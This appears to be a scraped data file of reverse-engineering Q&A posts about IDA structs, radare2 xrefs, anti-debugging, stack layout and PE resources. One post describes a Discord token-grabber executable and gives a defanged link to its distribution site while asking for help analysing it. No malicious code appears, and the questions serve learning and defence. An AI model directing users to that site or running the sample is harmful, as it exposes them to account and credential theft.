+I tried to google but I can't find how to show custom operand name. I could only find these 2 related links: + +" +"['ida', 'c++', 'decompile', 'struct']"," Title: How to restore struct fieldsBody: I have an object named ComputeService::RPC that is being used as input in a function inside a binary file: +
__int64 __fastcall ComputeService::Rpc::GetClientProcessId(ComputeService::Rpc *this)  
+pc *this)
+{
+  unsigned int v1; // ebx
+  int RpcCallAttributes[32]; // [rsp+20h] [rbp-98h] BYREF
+
+  v1 = -1;
+  memset_0(RpcCallAttributes, 0, 0x78ui64);
+  RpcCallAttributes[1] = 16;
+  RpcCallAttributes[0] = 3;
+  if ( !RpcServerInqCallAttributesW(0i64, RpcCallAttributes) )
+    return (unsigned int)RpcCallAttributes[16];
+  return v1;
+}
+
+* I used the Pseudocode in IDA to extract this information. +I went to the window of the "Local Types" and it shows that it is a struct but that's it.
+ +Is there a way to check what are the fields inside this struct? +" +"['windows', 'debuggers', 'anti-debugging', 'windows-10']"," Title: Windows UI freezes except the debugger itself when a breakpoint is hit in every debuggers I tried on a particular applicationBody: I'm trying to "trace" (just setting breakpoint, step in, step over to know how certain things work) an application. But if the application enters suspended state by using breakpoint, every things on the screen are unresponsive, I can't click anything on the taskbar to switch to another application, I can't even press Alt+Tab to switch app. The only thing still working is the debugger. +Windbg is the worst case that it isn't even react to my mouse click when a breakpoint is hit, I have to use Task Manager to terminate the debugger along with the target app. +So, it's maybe some kind of anti-debugging technique? Does anyone know about this? +Debuggers that I use: +
    +
  • Visual Studio 2019 (works but everything else freeze)
  • +
  • x64dbg (works but everything else freeze)
  • +
  • Windbg (freezes along with the rest)
  • +
  • IDA Pro (freezes along with the rest).
  • +
+" +['ida']," Title: Exporting all function addresses from IDABody: I have a x86 executable opened in IDA. +In the function window you can see a list of all functions with their starting address. + +My goal is to programmatically export a list of all functions IDA found including the following informations: +
    +
  • Their starting address
  • +
  • Their instructions as a byte array
  • +
+How would i do this? +" +"['stack', 'asm']"," Title: Why struct allocation with new operator in local function makes additional space on stack?Body: I decided to ask the question on this forum because I can not figure out why struct allocation makes the additional 16 bytes space on local function stack(third line at the second snippet). +Here is the c++ simple code and its corresponding assembly version +
struct product {
+  int weight;
+} ;
+
+void test() {
+product* p;
+
+p=new product();
+p->weight=1;
+}
+
+
push    rbp
+mov     rbp, rsp
+sub     rsp, 16
+mov     edi, 4
+call    operator new(unsigned long)
+mov     DWORD PTR [rax], 0
+mov     QWORD PTR [rbp-8], rax
+mov     rax, QWORD PTR [rbp-8]
+mov     DWORD PTR [rax], 1
+nop
+leave
+ret
+
+" +"['disassembly', 'malware', 'decompile', 'exe']"," Title: Malware analysis of undetected NodeJS token grabberBody: I've recently nearly had my discord account stolen by a token grabber called 'Katana Legends'. +Someone contacted me asking to playtest a game, which prompted a .exe file. +I ran the file and website on virustotal and with malwarebytes, completely clean. Undetected. +I'm a complete beginner at this, heard Ghidra might be good to decompile it. +When ran, the file opened command prompt and restarted a few applications. +Other posts just answer +
+"Short answer, if you're good enough" +
+
+"Good luck" +
+The file is downloadable on https:// katanalegends . tk (watch out, don't run the file on your main device) +How do I go about this? I want to know why this is undetectable. +" +"['ida', 'c++', 'struct', 'array']"," Title: How do I reverse engineer structs that are put as parameters in a functionBody: how do I go around figuring out where to reverse engineer a struct? +As shown in the picture below, I have this function called "struct dynamic_array" which I want to reverse engineer and reimplement in C#, but I can't seem to find out where to look for it inside of IDA Pro? +Highlighting it doesn't give me any options and it doesn't show up anywhere, if I could get guidance on where to find it that would be highly appreciated. +The most help I got from an experienced friend was that it's a simple implementation of std::vector, so now I know a little about it + +" +"['disassembly', 'functions']"," Title: I don't find the body of a function that I called in the main functionBody: I have created a very simple x86 console program that uses Visual Studio 2019 compiler to sum 2 numbers just to see how is the program be after disassembly but I found something unclear to me. +
// C++
+#include <iostream>
+
+int sum(int n, int n2) {
+    return n + n2;
+}
+
+int main() {
+    int result = sum(7, 3);
+    std::cout << result;
+}
+
+After disassembled +
; The main function from outside
+Push edi
+push esi
+push dword ptr ds:[eax]
+call <consoleapplication._main>
+add esp, C
+
+; The main function from inside
+mov ecx, dword ptr ds : [<&? cout@std@@3V ? $basic_ostream@DU ? $char_traits@D@std@@@1@A>]
+push A
+call dword ptr ds : [<&? ? 6 ? $basic_ostream@DU ? $char_traits@D@std@@@std@@QAEAAV01@H@Z>]
+xor eax, eax
+ret
+
+As you have seen in the second code block, the second line +
push A
+
+That is the result of the "sum" function but +where is its body and where is the call instruction that calls it in the main function? +" +"['ida', 'pe']"," Title: How do I find where in the code a particular Windows Resource is used?Body: I'm trying to reverse engineer a Windows program. Using PE Editor, I find that the string in question - which I'm interested in - has got id 2820. The string is in this format: "Some text, some text: %s". Whenever this string appear in the program, about once per minute, five bytes (ASCII letters) appear where "%s" is. The letters seems to be random, but I think they are not and I'm interested to see what they are exactly. Hence the reverse engineering. +However, I have a hard time finding in the disassembly exactly where resource id 2820 is fetched. There's a lot of functions/procedures involving LoadResource() / LockResource() but there is no obvious constant of 2820 anywhere. +Question: Is it possible, using whatever debugger, to put a breakpoint on resource ID 2820 that will halt execution as soon as the resource value is fetched? +If not, what other approach can I use to find where in the code the resource is fetched, so I can dig deeper to see how the five bytes are created? +" +"['disassembly', 'radare2']"," Title: How can I use radare2 to list all xrefs to a string?Body: radare2 can list all strings with iz , and list all functions with afl. How can I use radar2e to list the XREFs for each string? That is, for each string, which funcs reference it? +I'd like to be able to do this for all strings and also for select strings (one by one). +Likewise: How can I find xrefs (call sites) to a given func? E.g. "Show me all funcs (or addresses) that call sym.imp.system"? +" +"['disassembly', 'radare2']"," Title: How can I tell radare2 to show me a constant's value in disassemblyBody: In radare2, I can disassemble like: +
0x004006f0]> pd 3
+...
+0x004006f0      ff2532092000   jmp qword [reloc.callme_three] ; [0x601028:8]=0x4006f6
+0x004006f6      6802000000     push 2                      ;
+0x004006fb      e9c0ffffff     jmp sym..plt
+
+However, I want to see what those constants (reloc.callme_three, sym.plt) really hide. pid does half of this, but still doesn't show me the sym.plt constant: +
[0x004006f0]> pid 3
+0x004006f0   sym.imp.callme_three:
+0x004006f0         ff2532092000  jmp qword [rip + 0x200932]
+0x004006f6           6802000000  push 2
+0x004006fb           e9c0ffffff  jmp sym..plt
+
+How can I disassemble with all constants opened?
+How can I find out what sym..plt is defined as? +" +['radare2']," Title: Radare2 Load file from stdin failsBody: Radare2 supports loading a file from stdin via =. However, my attempts to use it don't work: +
$ r2 /bin/ls
+Warning: run r2 with -e bin.cache=true to fix relocations in disassembly
+[0x00006810]> q
+$ cat /bin/ls | r2 =
+^D
+[0x00000000]> q
+               $ 
+
+Note only does it not work, as shown above, but I need to reset my term afterwards! +"